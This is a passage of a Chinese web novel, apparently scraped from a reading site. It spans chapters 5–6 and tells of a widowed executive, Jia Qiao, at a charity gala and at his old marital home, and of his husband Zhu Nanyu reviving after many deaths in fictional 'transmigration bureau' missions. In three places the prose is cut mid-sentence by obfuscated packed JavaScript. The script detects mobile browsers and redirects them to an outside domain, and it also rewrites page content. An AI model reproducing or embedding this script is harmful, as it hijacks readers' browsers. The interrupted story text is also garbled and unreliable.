汪椋大半个身体悬空,冷雨如同细针般飘进眼睛里,扎得眼睛生疼。 后脖颈被死死钳制,剧烈的痛苦让他本能想要呼救,声音却因为恐惧而破碎得不成语调。 “啊!救、救……” “嘘。” 伽巧单手捏住他后颈,略微施了一点力气,疼得汪椋以为脖子要断了。 “再叫一声,我就松手。” 这间酒店格局比较特殊,虽然宴会厅位于1楼,但阳台外面是地下车库的挑空区域,目测大约两层楼那么高。 从这个高度脸朝下表演自由落地,不摔死也得残废。 汪椋吓得瞬间安静如鸡,双手死命抓住湿滑的栏杆,整个人抖如筛糠。 风一吹,空气中散开难闻的腥臊味。 ——他吓尿了。 尿液顺着裤腿滴滴答答,混合着雨水,滴落在不知道哪个倒霉蛋的法拉利前盖上。 伽巧嫌恶地皱眉,右手握住闪着寒光的香槟杯,将尖锐断面抵在汪椋眼球前0.1厘米处。 那双刚刚还氤氲水雾、楚楚可怜的眼睛,此刻只有清冷且残酷的肃杀。 “回答。” 回答? 回答什么?!!! 锯齿状的水晶杯就戳在眼球正前方,脖子往后仰一分就会被掐断。 汪椋吓得不敢眨眼,鼻涕眼泪糊了满脸,拼命回忆伽巧之前提出的问题—— ‘你刚才说,谁死得不是时候?’ “我!我死得不是时候!” 汪椋声嘶力竭,用所能想到最恶毒的方式诅咒自己: “我就是个忘恩负义、卑鄙无耻的败类!应该出门被车撞!下油锅!坠楼摔死!千刀万剐!死了以后下十八层地狱永世不得超生!” 答案姑且及格,伽巧撤回香槟杯随手一扔,把半死不活的汪椋挂在栏杆上。 “记住,祝南屿轮不到你来评价。” 他转身,夜风吹起发尾的纯白缎带。 “还有,这里的事如果传出去半句——” “想试试全套死法吗?” . 又淋了几分钟冷雨,伽巧感觉身体烧得更厉害,走进洗手间时几乎踉跄。 掬了两把冷水泼在脸上才勉强保持清醒,没有当场晕过去。 摇摇晃晃回到宴会厅,今晚的慈善表演正好到高潮,某位当红爱豆在舞台中央表演唱跳rap。 负责主机位拍摄的摄影机拉了个大远景,镜头从左倒右扫遍全场,定格在绕过侧台的伽巧身上。 他偏偏在这时抬眼看向主机位。 几缕黑发湿漉漉贴在颈侧,鸦羽般的睫毛挂着水雾,眼尾恰到好处晕开一抹红,目光清冷又破碎。 直播间内原本稀稀拉拉的弹幕,瞬间爆炸。 【啊啊啊美人你谁!三秒钟之内我要拿到他的全部信息!!!】 【镜头扫过去时我呼吸都停了,这张伟大的脸是真实存在的吗?】 【这题我会!他叫伽巧,千合集团现在的代表。以前总跟他老公一起参加活动,后来老公死了他就再也没有出现过,没想到丧偶多年美貌反而更炸了,这破碎感让我愿意臣服千千万万遍】 【对对对,我还嗑过伽巧跟他老公呢,不敢想象他们一起上婚综能吸多少CP粉,可惜现在只能上《再见爱人·丧偶季》】 【哈哈哈楼上什么地狱笑话?我听说他老公的死全怪伽巧自己作,暴雨天闹着非要老公回来过生日】 【造谣四年还不够?警方蓝底公告没人看吗?人家感情好着呢,指路之前一起出席的直播,建议搭配胰岛素观看→[网页链接]】 点开传送链接,跳出一段只有5秒的视频。 同样宾客如云的晚宴会场,摄影师悄悄将镜头对准正在自助台挑选黄油曲奇的伽巧。 焦距对准的瞬间,一杯香槟挡在镜头前,无名指的婚戒折射光芒。 西装革履的男人仿佛如从天降,将伽巧挡得严严实实,低沉嗓音好听得过分: “抱歉,我妻子不喜欢被拍。” 当年就凭这五秒直播录屏,让‘霸总和他的娇养金丝雀’CP血洗全网,直到现在还有零星CP粉默默关注伽巧。 发现直播团队为了流量,恨不得把镜头黏在伽巧身上,所剩无几的CP粉气到刷屏抗议,想要发挥微弱的力量替祝南屿保护伽巧。 【尊重素人好吗?祝南屿说过他不喜欢被拍!】 【镜头挪开!!!】 其实伽巧早就发现黏在自己身上的镜头,可他刚才消耗太多体力,身体更加难受,根本无暇理会。 周遭依然聚集着许多不怀好意的视线,方才注意到他跟汪椋前后脚走向阳台的宾客,彼此交换心领神会的眼神—— “汪总这么急?” “没准是小寡夫空虚寂寞,自己凑上去的。” 汪椋早已经缩回自己位置,西装裤腿还在滴滴答答淌水。 听狐朋狗友调侃自己‘艳福不浅’,很想反驳两句,耳边回响着伽巧最后的威胁—— ‘想试试全套死法吗?’ [原地去世.jpg] 伽巧无视所有污言秽语,强撑着走回自己位置,请侍者再上一杯温水。 从口袋里拿出周川柏给的感冒药,不抱希望地服下,权当安慰剂。 会场前排,正与人谈笑风生的金发男子,笑吟吟看向那个角落,“那位先生是谁?怎么没有人帮我引荐?” 接待人慌忙解释,“那位是千合集团的代表,伽巧。考虑到千合现在日暮西山,他手里又没有实权,所以我们……” “哦?”金发男子语调上扬,“贵方的意思是,我市场评估能力有问题。亲自递出邀请函的人,竟然没有合作价值。” “不敢、不敢!”接待方慌了神,“我这就把他叫过来。” “不劳大驾。”金发男子施施然从主位站起来,目光扫过他们惶恐的脸,“原来召之即来就是你们的风格?看来我要重新考虑投资,以免被贵方挥之即去。” 说罢,金发男子穿过人群,走向几乎坐在最角落的伽巧,微微俯身伸出手。 “你好,伽董。” ——他没有叫‘祝夫人’或者名字,反而以最正式的职衔相称。 伽巧礼貌地握住对方指尖,“你好,Lanner先生。” “你认识我?”Lanner笑眯眯弯起眼睛,金色的睫毛扑闪扑闪。 “有幸听人提起。” 其实伽巧刚才入场时扫了一圈,注意到Lanner的位置和混血长相,就猜到是执行助理说的那位海外合作商。 伽巧此行的主要目标,便是给Lanner留下印象,方便日后合作。 却没想到,他居然会主动找自己,伽巧难免多了几分警惕。 “能坐你旁边吗?”还没等伽巧回答,Lanner已经自觉找空位坐下。 “你愿意自降身价,我自然没意见。” Lanner笑盈盈恭维,“能坐在千合集团董事长身边,算我高攀了。” 假如代表千合出席的是祝南屿,确实担得上‘高攀’两个字。 伽巧以为外国人不懂局势,‘大发慈悲’解释,“我只是代理董事长,手中没有实权,研发和运营全部交由我丈夫的旧部打理。” “果然和我了解的情况一样。”Lanner兴致更浓,“我看过祝氏集团过去三年的财报,自从伽董接管后,市值波动不到0.5%。” 伽巧敷衍地说,“我能力有限,守成而已。” Lanner笑意收敛了一瞬,“但是,就连董事长遇难那么大的事,也没有让千合市值动摇。” 按照千合集团的庞大体量,每年财报都几乎一模一样,堪称奇迹。 “伽董别误会,我只是好奇你这样做的理由。”Lanner捧着脸,指尖有节奏敲击桌面,半威胁半玩笑,“伽董的回答,可能会直接决定我后续的选择。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422939|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……”伽巧侧目,盯着他亮闪闪的脸瞧了一会儿才开口,“你既然调查过,应该知道千合是我丈夫留给我的。我对做生意没兴趣,他留给我怎样,我就保持怎样,这个答案你满意吗?” Lanner没有回答满意与否,转头看向主舞台,“伽董,募捐开始了。” . 募捐环节是慈善晚宴的重头戏。 当今时代信息发达,每场慈善晚会的捐赠名单透明、公开,还有吃瓜网友拉表格对比。 捐得太少被全网嘲讽面子上挂不住,捐得太多以后每场都要按照这个标准。 正因如此,大家都提前商量好,在背地里标好了数额,只等现场走个流程。 募捐环节刚开始,就有人五万、十万喊了起来。 这个场景太熟悉,恍惚将伽巧拽回五年前,第一次跟随祝南屿参加慈善晚宴。 伽巧手中杀孽无数,自认为跟‘慈’‘善’两个字扯不上什么关系,对于这种场合没什么兴致,藏在桌下偷偷打游戏。 突然,主持人报出自己的名字。 “感谢伽巧先生慷慨解囊,为山村教育捐赠2000万!” “啊?”伽巧在雷鸣般的掌声中抬起头,懵懵地看向祝南屿。 那时,伽巧对生意场多少有点儿了解,知道企业家捐款主要为了名声和避税。 祝南屿用自己的名字捐款,既得不到名声,也没办法抵税,图什么呢? 祝南屿轻笑,在桌下捏了下他的手,“做慈善是好事,如果真的有福报,希望能够降临在你身上。” 伽巧吐槽,“你还信这个?” “就算没有福报,如果有人因此获得幸福,希望他们会感谢你。” 思绪回到现实,募捐活动临近尾声,前排有人举手喊出‘350万’,会场内响起震耳欲聋的掌声。 ——这是全场最高金额,来自前排中间的捐赠者。 八成早就商量好,让他用三百多万出这个最大的风头。 掌声渐歇,不知道谁起了个头,大家开始盘点会场内有谁没捐款。 名单从头翻到尾,始终没有找到‘伽巧’这个名字。 见他坐在角落如同局外人,早就看不惯的人阴阳怪气的奚落。 “舍不得捐款,来慈善晚会干吗?” “千合要垮台了,上流圈没人带他玩,蹭这个场子混脸熟呗。” “再不行,五万十万拿得出来吧?” “呵呵,他哪舍得?那都是前夫留给他的遗产,要留着当下次结婚的嫁妆。” 正当众人窃窃私语时,有人跑上台递给主持人一份新名单。 主持人看到名单末尾,脸色大变,清清嗓子宣布: “抱歉,我们刚才遗漏了一位未到现场的捐赠者——” “感谢祝南屿基金会为慈善事业捐赠2000万!” “多、多少?” 整个宴会厅鸦雀无声,所有人难以置信看向伽巧。 Lanner短暂震惊之后,似乎明白什么,“伽董真是出手不凡。” 伽巧烧得头晕目眩,懒得虚与委蛇,索性直言,“我欠了祝南屿一点福报,还给他罢了。” 【坐最偏的位置捐最多的钱,伽巧人美心善我说累了】 【给大家科普一下:基金会和普通捐款不一样,尤其是用别人名义成立的基金会,不但完全无法避税还要接受第三方监管】 【这波真是纯粹做慈善了,伽巧先生大义!祝南屿先生大义!】 【五年前祝南屿用伽巧名字捐了两千万,五年后伽巧用祝南屿名字捐了两千万,这宿命感拉满好吗】 【双向奔赴我哭死,这断头糖又刀又甜呜呜呜】 …… “总共两个镜头,你快把屏幕瞪穿了。” Lanner按下屏幕上的‘暂停’键,停止第89次洗脑循环,一脸揶揄地看向躺在病床上刚刚恢复意识的男人。 “祝南屿。” 5. 第 5 章 “他病了。” 祝南屿目光隔着被按下暂停的屏幕,久久凝视伽巧苍白的脸。 声音如同被砂纸打磨过,每个字都带着血肉模糊的喑哑。 “哦呦~”Lanner拉开病床侧边的椅子坐下,修长双腿优雅交叠,“死了四年的尸体,居然还会说话,还真是医学奇迹呢~” 祝南屿总算从老婆脸上挪开视线,匀给他一个关爱智障的眼神。 Lanner瞬间得出结论:呼风唤雨、只手遮天、算无遗策的穿书局首席,现在连骂老子‘闭嘴’的力气都没有。 “哈哈哈哈哈哈——!” Lanner爆发出整整五分钟的猖狂大笑,余音绕梁三天三夜。 “瞧瞧你这副奄奄一息的可怜模样,至少三个月才能站起来吧?这边建议你真的去死一下,重新投胎比较快啦,亲亲~” 祝南屿虚虚眯了下眼,想刀一个人的眼神是藏不住的。 某只大金毛脊背一凉,脑内迅速闪过激怒首席的后果,立刻收起反派嘴脸,伸手从旁边的果篮挑了个大橘子,“口渴吗?爸爸给你剥个橘子。” “滚。”祝南屿薄唇微启,吝啬地赏赐给他一个单字。 “尊贵的首席大人,您消消气嘛~”Lanner剥开橘子递到祝南屿嘴边,语气贱兮兮的,“喏,我不介意你把我当成伽巧的代餐呦~” 祝南屿撇过头,眼里的厌恶几乎具象化。 “喂喂喂,你这样很伤我的自尊心!”Lanner夸张地捂住胸口,从怀里掏出镶钻小镜子自我审视,“我比伽巧差那么多吗?” “嗯。” 斩钉截铁,掷地有声,毫不犹豫。 Lanner挪开镜子,亮闪闪的桃花眼眯起狡猾弧度,“你家宝贝老婆真有那么好,你居然忍心抛下他四年?真薄情哟,渣男~” 祝南屿抿紧唇线,不发一言。 “这次是四年,下次呢?五年?十年?”Lanner幸灾乐祸地说,“你每次都毫无征兆的消失,万一……” “我退休了。” “……哈?”Lanner脸上的嬉笑瞬间挂不住,错愕地瞪大眼睛,“退休?!你不当首席了?开什么玩笑,那可是能操纵世界的权力!” 祝南屿眼皮都懒得动,仿佛舍弃的那些都不值一提。 “难怪……你平常回来都毫发无伤,这次却变成这样。”Lanner若有所思,抬起手推了推不存在的侦探眼镜,“你一身后遗症,是穿书局的惩罚吗?那叫什么……鸟尽弓藏?过河拆桥?” “不。”祝南屿否认。 他们没那个胆子。 既然不是惩罚,Lanner只能想到一种更糟糕的推断。 “祝南屿,你在任务中死了?” Lanner曾经听祝南屿提起过,执行穿书局任务时,相当于将‘精神’抽离现实世界的身体。 只要精神完完整整的回归,身体便不受影响。 反之,如果在任务中受伤或者死亡,精神力便会受创,孽力堆叠到现实躯体。 祝南屿身为首席,普通的受伤甚至死亡,造成的影响微乎其微。 能让他变成这样…… “你死了多少次。”Lanner语气前所未有的严肃。 祝南屿思考片刻,报出一个数字,“259。” 事实上,祝南屿原本没打算结束穿书局的工作。 这份工作由‘精神’执行,对现实世界影响很小。 每次任务在别人眼里,只不过消失了几天而已,随便找点借口就能搪塞过去。 直到那个暴雨夜。 祝南屿接到紧急任务,在即将到家的前一刻失去意识。 他失约了。 以最糟糕的方式。 所以,祝南屿决定退休。 身为穿书局首席,退休并没有那么容易,有些高等级任务只有他能够完成。 为了彻底脱身,祝南屿将A级以上的任务全部抽出来,集中处理。 执行任务时,时间与现实世界流速不同,但总体呈正相关。 任务耽搁的时间越久,回到现实世界的时间越迟。 通常任务结束后,会预留时间进行平稳过渡。可祝南屿想要尽早回到伽巧身边,直接在完成的瞬间结束生命。 普通世界尚且好说,车祸、跳楼、溺水、服毒……自杀方式要多少有多少。 某些异能世界,对死亡判定极其苛刻,必须形神俱灭才能结束生命。 每次死亡带来的疼痛和恐惧,都会深刻的烙印在灵魂中,造成极大的精神负担。 Lanner甚至不敢细想,杀死自己259次该有多么痛苦。 “你真是……疯子。”Lanner捂住脸,声音都在颤抖,“你以前最在乎存活率,执行那么多任务,只在无限世界死过一次,刚刷新出boss就被秒了。那次你还不服气,又把那个任务重刷了一遍,最终拆了boss区域以外的所有空间,让整个世界崩塌,才算完成任务……说起来,如果那个boss没死,也会变成普通人来到现实世界吧?” “也许。” Lanner搓搓手臂,似乎想到什么糟糕的事,“那个boss不靠异能、不靠系统,纯纯战斗型怪物。如果被发现是你毁了他的世界,该怎么办?” “与我无关。”祝南屿阖起眼睛,“我退休了。” “是是是,你个妻奴,满心满眼只有宝贝老婆~”Lanner翻出一张卡片,钓鱼似的在祝南屿眼前晃晃,“说起来,我前两天接触伽巧了。” “嗯?”祝南屿瞬间咬钩。 “他哪有你说的那么单纯无害?我费了好大功夫,才要到名片。”Lanner把名片举到他眼前,表情幽怨,“本来想在你恢复之前,先加个微信玩玩网恋。结果试着拨了下,才发现他印的是家里固定号码,接通了但是没有声音。后来又给我发消息解释,说你老婆不用手机,把我当傻子骗,现代人谁能离开手机?” 伽巧不用手机? 祝南屿眸色沉了沉。 他以前总是手机不离手,沉迷刷微博、短视频、各种游戏。 祝南屿必须千方百计跟手机‘争宠’,才能得到老婆短暂的关注。 才四年而已,伽巧居然…… “嘿嘿嘿~”Lanner捕捉到祝南屿难以掩饰的落寞,嘴里发出古怪笑声,骄傲地撩了把金毛,“首席,哦不……小祝。等你从床上爬起来,高低得给爸爸我磕一个!” 傻子。 祝南屿都懒得给眼神。 Lanner把帅脸凑过来,金色头发映着阳光blingbling,看起来实在碍眼。 赶在祝南屿让他‘滚’之前,Lanner拿出一份文件,得意洋洋地说,“我已经跟千合集团达成初步合作意向,并且强烈要求,必须由代董事长沟通合作详情。” Lanner眨了下右眼,发射绝美wink,“能不能跟老婆网恋成功,就看你表现喽,小祝祝~” . 从慈善晚宴回来,伽巧烧得更严重。 秋雨带来的寒意似乎钻进骨子里,害他昏迷似的躺了一整天,才勉强能够撑起身体下床。 周川柏得知他居然在外面淋雨,气得火冒三丈七窍生烟,要求鹿珉24小时贴身监督。 午睡过后,窗外虽然没有下雨,但天色阴沉沉的。 伽巧穿戴整齐,束好头发就要往外走。 急得鹿珉又开始转圈圈,用手语比划问他去哪里。 “我要回家一趟,不会在外面呆太久。” 回家? 鹿珉脑袋上冒出几个问号,举起线圈本:这里不就是我们家吗? 完蛋。 主人烧坏脑子啦! 伽巧解释,“回我和祝南屿的家。” 既然决定给祝南屿销户,自然要举办葬礼送他入土为安。 搜救队和当地村民找了五年,也没找到祝南屿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422940|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体,恐怕已经湮灭在哪个角落。 伽巧打算退而求其次,为亡夫立个衣冠冢。 之前搬家时,伽巧只带走自己的东西,如今屋里找不到一件祝南屿的衣服。 想要立衣冠冢,只能回到从前的婚房拿衣服。 四年了,这是鹿珉第一次从伽巧口中听到‘回家’两个字。 ‘我可以陪你一起去吗?’鹿珉可怜巴巴举起线圈本:‘否则周医生会凶我的。’ 底下还画了只哭唧唧的小兔兔。 “好吧。” . 婚房位于市中心寸土寸金的绝佳地段,距离千合集团总部只有一条街。 伽巧喜欢从高处眺望繁华都市的绚烂夜景,祝南屿便买下公寓最高层,拥有整整三面落地窗和视野开阔的大露台。 搭乘电梯直达顶层,许久无人造访的走廊空空荡荡。 伽巧站在熟悉的入户门前,凭记忆按下六位数密码——结婚纪念日+自己的生日。 智能门锁发出‘咔哒声’,随即打开。 门内的世界仿佛被按下暂停,依然保持着四年前的状态。 柔软的灰羊绒沙发,厚厚的长毛地毯。伽巧平常裹在身上的猫咪毯子,还随意地团在沙发角落,仿佛主人马上会回家使用。 伽巧纤细地身影伫立在门口,沉默良久,然后目不斜视地穿过客厅,径直走近主卧。 主卧光线昏暗,kingsize大床一看就很好睡的样子。 伽巧走到床边,打开嵌入墙内的滑动式衣柜,里面整整齐齐挂着祝南屿的西装和衬衣,隐约还能嗅到那个男人身上干净的香气。 “选哪件好呢?” 伽巧轻声喃喃,把所有衣服都拿出来,胡乱扔在床上。 衣柜转眼就搬空了,没有特别合适的。 伽巧转过身,见床上用衣服堆了座小山丘。 默默盯着瞧了好一会儿,他不知脑子怎么想的,鬼使神差躺了下去,用祝南屿的衣服给自己筑了个巢。 似乎……被他拥抱着。 伽巧闭上眼睛,脸埋进祝南屿的衣服里。 似睡非睡的朦胧中,感觉身体轻松许多,这两天困扰自己的头痛症状减轻了,体温渐渐有平复的迹象。 大约躺了十几分钟,伽巧拿起一件衬衫,指尖细细摩挲。 犹豫一下,他突然撑起身体,脱掉自己的外套风衣,把那件明显大两个尺寸的衬衫慢慢穿到自己身上,从第二颗扣子开始扣。 ——像从前那样。 伽巧身高176,并不算矮。 然而祝南屿净身高185,肩宽背阔,比例完美。 他的衬衫穿在伽巧身上,下摆能堪堪遮住大腿根。宽松的领口顺着肩膀滑落,露出漂亮的锁骨和大片大片白皙的胸膛。 “这样穿好奇怪,我还是无法get男友衬衫的萌点。”伽巧第一次穿,不自在地扯了扯衬衫下摆,又长又直的腿向内侧并拢,“如果是因为这样穿像裙子,你还不如直接买女装给我。” “不一样。”祝南屿目光异常炙热,声音满足而缱倦,“娇娇,你现在全身都是我的标记。” “标记是……算了,不用解释你糟糕的性癖。”伽巧平常不容易害羞,那次却连耳根都红了,咬咬牙低声骂,“变态!” 10月13号那天晚上,伽巧裹着毯子等他回来时,里面也穿着祝南屿的衬衫。 虽然内心觉得变态又羞耻,可多少存了几分‘既然你千里迢迢赶回来陪我过生日,我就奖励一下你吧’的隐秘期待。 后来接到警方的电话,伽巧匆匆忙忙换衣服,脱下来的衬衣应该就随手扔在衣柜底层。 就用它吧。 伽巧再次打开衣柜,里里外外找了两圈,又在已经拿出来的衣服堆里仔细搜寻。 “……?” 他确认自己的记忆没有问题,也确认搬家时没有带走祝南屿任何衣服。 然而那件衬衫—— 消失了。 6. 第 6 章 伽巧走到玄关,重新检查入户门,智能锁并没有被暴力破坏的痕迹。 自从他住进婚房之后,家里没有出现过第三个人。 那么,谁有可能知道入户门的密码,悄无声息潜入,却只拿走祝南屿的衬衫? ——偏偏还是自己穿过的那件。 伽巧重新环顾整个房间。 客厅整洁如初,贵重物品一样不少。如果是小偷入室行窃,未免太没出息了。 他折回卧室,把祝南屿的衣服通通塞回衣柜。 随后,他从发尾揪下一根长发,缠在推拉门和衣柜框的连接处,系了个活结。 如果有人拉开柜门,这根头发就会扯断。 彻底清理掉自己来过的痕迹之后,伽巧走出房间。 在入户门底端如法炮制缠了根头发,这才转身离开。 公寓楼下,鹿珉远远看到伽巧走出来,连忙推开车门哒哒哒跑过去迎接。 他瞧瞧伽巧的左手,又瞧瞧伽巧的右手,脑袋上冒出许多小问号。 不是要给主人的亡夫立衣冠冢,所以特意回来拿衣服吗? 衣服呢?? 只有聪明的人能看见吗??? “别看了,我没拿。”伽巧淡淡开口,打破‘皇帝新衣’的妄想。 “?”鹿珉拿出行程本奋笔疾书:没有衣服,怎么给祝先生立衣冠冢? “那件事先不急。”伽巧坐进车里,吩咐司机,“去祝家老宅。” “收到,请系好安全带。”司机接到命令,立刻发动引擎。 ‘为什么要去祝家老宅?’ ‘不是说好在外面呆一会儿,马上就回去养病吗?’ ‘周医生知道会鲨了我啊啊啊!!!’ 鹿珉挤到伽巧身边,行程本恨不得怼到主人脸上,急得都开始阿巴阿巴了。 伽巧随手拨开行程本,语气平板无波,“我要给祝南屿办葬礼,于情于理都该通知他们家亲戚。” 如果说世界上,谁对祝南屿留下的东西最感兴趣,肯定是祝家那些人。 想当初,坠崖的消息刚传出去,他们就迫不及待计算能分到多少遗产。 算盘珠子打得世界各地都能听见,可惜律师拿出的遗嘱击碎他们赶走伽巧,独吞所有遗产的美梦。 过去几年,祝家人用尽各种方式调查取证,甚至企图买通律师,千方百计想证明遗嘱是假的。 伽巧此行,明面上通知他们葬礼的事,其实想顺便试探,入侵婚房的人跟祝家有没有关系。 见鹿珉仍是一副随时要哭出来的表情,伽巧无奈地安抚,“放心,这件事不会让周医生知道。” 鹿珉绝望地划拉划拉几笔:你的病情加重,周医师肯定会发现! “不会。”伽巧侧过身,透过车窗看向越来越模糊的婚房,“我好像退烧了。” 骗小孩呢! 这几天又打针又吃药,伽巧体温一直在38℃左右,昨天后半夜甚至咳出了血丝。 仅仅在婚房呆了半小时,怎么可能…… 鹿珉拿出随身携带的智能体温计,对准伽巧耳道‘biu’了一枪。 37.5℃。 “……”肯定是体温计坏掉了。 鹿珉用力甩了甩,再次biubiubiu。 37.4℃。 鹿珉眨巴眨巴眼睛,看看体温计,又看看伽巧,再回过头看看已经变成一个小点的公寓。 什么情况? 难道婚房里藏着祝南屿的幽灵,给伽巧施了个大治愈魔法? 鹿珉虔诚地合适双手,朝着公寓方向拜了三拜,然后重新翻开行程本。 ‘可是,你这样随便更改行程没问题吗?’鹿珉忧心忡忡地写:‘今天下午本来要跟海外合作商沟通合作意向。’ “无非是向他们展示千合的优势和业务能力,这些我并不直接经手,去了也没什么用。” 伽巧想起上次慈善晚宴,见到的合作方代表Lanner。 那人笑里藏刀,眼光独到,应该是个厉害的狠角色。 养病期间,执行助理收到Lanner发过来的合作草案,内容十分令人费解。 Lanner背后的公司掌握着世界最顶尖的技术,资产相当雄厚,这次提出的‘曙光’项目更是直接决定未来五年行业走向的重大工程,想要跟他们合作的公司比比皆是。 以千合目前的财务状况、发展前景、市场占有率判断,总体竞争力并不强。 若想要得到此次机会,势必要适当进行让利。 然而,Lanner拟定的草案,条件优厚得近乎诡异,远远超过正常合作的分成比例。 比起‘合作’,更像一场不计成本的精准输血。 伽巧倒不是第一次拿到这样的‘不平等条约’。 之前那些人动机太明显,无非想要通过小恩小惠接近伽巧,趁机得到柔弱不能自理的美貌寡夫和他继承的亿万遗产。 至于Lanner…… 伽巧回忆那张blingbling闪着金色光芒,耀眼到有些烦人的脸。 那只金毛一看就是个超级自恋狂,眼中没有对伽巧的觊觎,只有对自己盛世美颜的沉醉。 然而他提出合作时,指名要求伽巧参与沟通。 ——到底出于什么目的? “鹿珉,你转告我的助理。”伽巧补充道,“如果对方确实有诚意合作,初步接洽后,我会亲自跟他们会谈。” . 祝家老宅位于城西,是一栋仿欧式的古典庄园。虽然看起来气派恢宏,但大门刷了几层漆,斑驳外墙爬满藤蔓,难以掩饰过时和陈旧。 上世纪七十年代,祝老爷子祝昌隆吃了时代红利,在原配妻子的支持下,靠下海做生意发家。 暴富之后,祝昌隆做的第一件事就是‘忘本’。 跟原配妻子离婚逼她净身出户,扭头娶了个年轻漂亮的老婆,还在外面养了好几房情人。 祝南屿父亲是原配所生的孩子,父母离婚后,他毅然决然抛下所谓‘嫡长子’的身份,跟随母亲相依为命。 也许世间真的存在因果报应,祝昌隆后来相继生下两儿一女,一个比一个愚笨无能,只知道挥霍享乐,没两年就把老爷子给的家产败得七七八八。 祝昌隆眼瞅着后继无人,拉下老脸苦苦哀求原配复婚,把大儿子请回来接管家族事业。 然而那个时候,祝家已经被几个败家子折腾得千疮百孔。祝南屿父亲夜以继日力挽狂澜,把自己累出一身病,没到四十岁便撒手人寰。 祝南屿父亲死后,两个异母兄弟伙同祝老爷子,设下计谋让年幼的祝南屿‘继承’父亲遗产,然后把孤立无援的大嫂赶出祝家,再利用‘祝南屿监护人’的身份瓜分大哥留给妻儿的财产。 赤.裸裸的利己主义。 正因如此,祝南屿成年后没有进入祝家公司任职,拿着奶奶暗中替自己保管的财产自立门户。 跟伽巧结婚当天,他便立下遗嘱请律师公证。 伽巧当时还觉得诡异。哪有人领了结婚证第一件事,居然是写遗嘱? 后来听说祝家那些龌龊往事,才理解祝南屿的未雨绸缪。 倘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422941|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若没有那份遗嘱,就凭祝家人那德性,恐怕早就跟伽巧撕破脸皮。 “哎呦呦,什么风把侄媳吹回来了。这些年不见,我还以为你不知道祝家门往哪开呢。” 伽巧刚到祝家,排行老三的祝福禄立刻迎过来,脸上褶子能夹死苍蝇。 老二祝兴旺听见动静,不甘示弱的跑出里屋,“巧巧回家之前怎么不说一声?我让你二婶亲自下厨做几道好菜!” 鹿珉走在后面,瞅瞅他们两个虚伪的嘴脸,再瞅瞅明显被恶心到了的伽巧,生怕自家主人大开杀戒。 伽巧拳头倏尔攥紧又松开,语气尽量维持平和,“我准备给南屿办葬礼,回来通知各位一声。” “现在才葬礼?”姗姗来迟的堂哥祝柯口无遮拦,“他不是早就死透了吗?” 鹿珉心头一惊,再次看向伽巧——这次他攥住拳头没有松开。 “祝柯!”祝兴旺故意大声训斥儿子,“怎么说话呢?之前一直没找到你弟的身体,巧巧心里总有个念想,觉得人说不定还活着。” 伽巧垂下眼帘,薄唇紧抿。 “呵,都死了四年,就算找到也只剩一堆骨头。”祝柯翻了个白眼,双手插兜吊儿郎当走过伽巧身边,“我说你,赶紧办完后事,把遗产还给祝家。你从我弟那里捞得够多了吧?做人别太贪心。” 说完,祝柯瞥见伽巧低下头。 鬓边垂落的长发挡住眼眸,看不清表情。 不是吧,这就哭了? 鹿珉用力拽开祝柯,翻开的行程本写着四个大字:‘别再说了!!!’ 现在闭嘴,或许还能保住半条命。 “嘁,真玻璃心。”祝柯悻悻地呸了口唾沫,翻着白眼走开了。 伽巧此行另有目的,强压下翻涌的戾气,再抬头又是柔柔弱弱的模样,轻声细语问两位叔叔,“律师说,举办葬礼的时候要当众宣读遗嘱。我记得南屿有一份修正过的遗嘱,忘记放在哪了,你们……有没有见过?” ‘修正过的遗嘱’像兴奋剂,让祝兴旺和祝福禄眼睛同时亮了起来。 “没见过,你还记得放在哪里吗?” “巧巧,那份遗嘱具体修正了哪些部分?有没有提到我?” 伽巧茫然地摇头,“事情过去太久,记不清了。” 实际上根本没有所谓‘修正过的遗嘱’。 伽巧故意放出诱饵,假如潜入婚房的人跟祝家有关,必定会再次出动,伽巧设下的记号就能派上用处。 “对了,奶奶在家吗?”伽巧转而问道。 祝昌隆兜兜转转,还是娶回了原配纪茯苓。 纪茯苓对渣男老公早已断情绝爱,复婚只为了夺回属于自己和儿子的财产。 她并不是祝兴旺和祝福禄的生母,独子去世后,纪茯苓为了守护祝南屿,忍辱负重留在祝家老宅。 等到祝南屿可以独当一面,纪茯苓搬到最角落的屋子里青灯古佛,平日深居简出吃斋念佛。 伽巧走到那间朴素的屋子前,嗅到空气中沉静的檀香,不禁觉得怀念。 当初,祝南屿带自己回祝家老宅宣布婚讯,遭到强烈反对。 他们害怕祝南屿结婚后,会把财产全部投入小家,极尽所能挑剔伽巧的毛病。 “南屿,你喜欢搞男人,在外面玩玩就够了,何必非要娶回家呢?” “对啊,男的又不会生孩子,怎么给你传宗接代?” “南屿你别被骗了,看他那副样子,根本不是真心爱你的人,只图你的钱!” 